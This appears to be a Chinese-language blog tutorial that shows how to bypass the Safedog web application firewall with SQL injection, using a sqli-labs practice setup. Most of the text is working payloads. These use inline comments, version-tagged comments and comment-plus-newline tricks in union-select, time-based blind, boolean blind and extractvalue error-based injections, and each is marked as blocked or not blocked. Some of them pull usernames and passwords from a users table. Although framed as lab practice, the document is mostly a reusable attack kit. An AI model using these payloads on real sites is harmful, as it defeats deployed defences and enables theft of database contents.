溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Sql注入bypass的示例分析

發(fā)布時間:2022-01-19 10:44:44 來源:億速云 閱讀:305 作者:小新 欄目:網(wǎng)絡(luò)安全

這篇文章將為大家詳細(xì)講解有關(guān)Sql注入bypass的示例分析,小編覺得挺實(shí)用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

waf是如何防御的

waf是通過使用一組規(guī)則來區(qū)分正常請求和惡意請求的。例如:安全狗、云鎖、D盾等。

繞過:既然是存在規(guī)則匹配,那么就可以想方法繞過規(guī)則匹配。比如常見的黑名單限制,黑名單模型使用預(yù)設(shè)

一、sql注入bypass

環(huán)境搭建

win7

phpstdy(mysql:5.7.0 php:5.3.29)

網(wǎng)站apache安全狗(4.0.28330.0)

sqlilabs靶場

繞過

將防護(hù)等級調(diào)到最高級:

Sql注入bypass的示例分析and 1=1 繞過

首先,嘗試' and 1=1和' or 1=1

Sql注入bypass的示例分析Sql注入bypass的示例分析都會被防火墻攔截。 嘗試替換and和or關(guān)鍵字:替換成&&, ||

Sql注入bypass的示例分析Sql注入bypass的示例分析

還是被狗攔截掉了。那么就要想辦法把1=1入手,要么將1=1換掉,要么使用嘗試內(nèi)聯(lián)注釋。首先,含是使用and或者or,

將1=1改成負(fù)數(shù)-1=-1

Sql注入bypass的示例分析可以看到成功繞過,說明安全狗沒有對負(fù)數(shù)進(jìn)行檢測。

接著嘗試內(nèi)聯(lián)注釋:

/*%"!*/and/*%"!*/1=1--+    --攔截
/*%!%22/*/and/*%!%22/*/1=1--+  --不攔截

Sql注入bypass的示例分析

Sql注入bypass的示例分析

order by 繞過

就使用內(nèi)聯(lián)注釋

/*%!%22/*/order/*%!%22/*/by+3--+   --不攔截
order%23%0Aby 3--+         --不攔截,當(dāng)發(fā)現(xiàn)%23注釋之后,不會再去檢查了,所以就利用單行注釋和換行來繞過

Sql注入bypass的示例分析一般的安全狗對order by 查詢中間添加一些無用的數(shù)據(jù)不會攔截。

union select 繞過

內(nèi)聯(lián)注入:

union /*!10440select*/ 1,2,3

Sql注入bypass的示例分析

當(dāng)然也可以fuzz中間的版本號:0440 – 10449 11440-11449 12440-12449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 19440-19449都可以。

注:MySQL數(shù)據(jù)庫為了保持與其他數(shù)據(jù)庫兼容,特意新添加的功能。 為了避免從MySQL中導(dǎo)出的SQL語句不能被其他數(shù)據(jù)庫使用,它把一些 MySQL特有的語句放在 /! .../ 中,這些語句在不兼容的數(shù)據(jù)庫中使用時便 不會執(zhí)行。而MySQL自身卻能識別、執(zhí)行。 /50001/表示數(shù)據(jù)庫版本>=5.00.01時中間的語句才會執(zhí)行。

第二種方法:注釋繞過

union %23%0aall select      ——union 注釋+換行 all select(做出多次查詢)

Sql注入bypass的示例分析

函數(shù)的注入

采用的辦法內(nèi)聯(lián)注釋:

union /*!10440select*/ 1,hex(user/**/()),3
union /*!10440select*/ 1,hex(database/**/()),3
union /*!10440select*/ 1,hex(@@version/**/()),3
union /*!10440select*/ 1,hex(@@datadir),3

Sql注入bypass的示例分析

Sql注入bypass的示例分析另一種方法:

?/*&id=-1'union select 1,user(),3 --+*/

Sql注入bypass的示例分析

這里就是--+注釋符把后面的/形成了一個完整的sql語句。

對于information_schema是沒有進(jìn)行檢測的,所以只要保證前面的union和select繞過就可以。

1:

?id=-1'union /*!10440select*/ 1,group_concat(schema_name),3 from information_schema.schemata--+

Sql注入bypass的示例分析

2:

?/*&id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+*/

Sql注入bypass的示例分析

?/*&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+*/
?/*&id=-1'union select 1,username,password from users where id='3'--+*/

那么通過這兩種方法,就能得到數(shù)據(jù)庫的表,列命和字段內(nèi)容。

盲注

1.時間盲注:

利用方法:內(nèi)聯(lián)注釋

?/*&id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+*/
?/*&id=1%27%20and%20if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+*/
?/*&id=1' and if(ascii(substr(database(/*!*/),1,1))=115,sleep(/*!3*/),1)--+*/
?id=1' /*!10440and*/ if(ascii(substr(database/**/(),1,1))=115,sleep/**/(4),1)--+

Sql注入bypass的示例分析

Sql注入bypass的示例分析

利用方法:if 前面添加!~ -

?id=1' and !if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+
?id=1' and ~if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+
?id=1' and -if(ascii(substr(database/**/(),1,1))=115,sleep/**/(3),1)--+

Sql注入bypass的示例分析

bool盲注

盲注方法:內(nèi)聯(lián)注釋

?id=1' /*!10440and*/length(database/**/())=8--+
?/*&id=1' and left(database/**/(),1)='s'--+
?/*&id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))=101--+
?/*&id=1%27%20and%20ord(mid((select%20ifnull(cast(username%20as%20char),0x20)%20from%20security.users%20order%23%0Aby%20id%20limit%200,1),1,1))=68--+

Sql注入bypass的示例分析

Sql注入bypass的示例分析

Sql注入bypass的示例分析

Sql注入bypass的示例分析

報錯注入

來繞過報錯注入中常用的兩個函數(shù)updatexml()和extractvalue()函數(shù)

利用方法:注釋+換行。

?/*&id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(/*!10440select*/database/**/()),0x7e))--+
?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(/*!10440select*/version()),0x7e))--+

Sql注入bypass的示例分析

Sql注入bypass的示例分析

爆表:

?/*&id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20group_concat(table_name)from%23%0ainformation_schema.tables%23%0awhere%20table_schema=%27security%27),0x7e))--+*/
?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20group_concat(table_name)from%23%0ainformation_schema.tables%23%0awhere%20table_schema=0x7365637572697479),0x7e))--+

Sql注入bypass的示例分析

爆列名更上面的一樣。那么爆字段內(nèi)容不能直接select username from users limit 1而是在from后面再寫一個注釋換行。

?id=1%27%20and%20extractvalue%23%0A(1,concat(0x7e,(select%20username%20from%23%0ausers%20limit%201),0x7e))--+

Sql注入bypass的示例分析

關(guān)于“Sql注入bypass的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI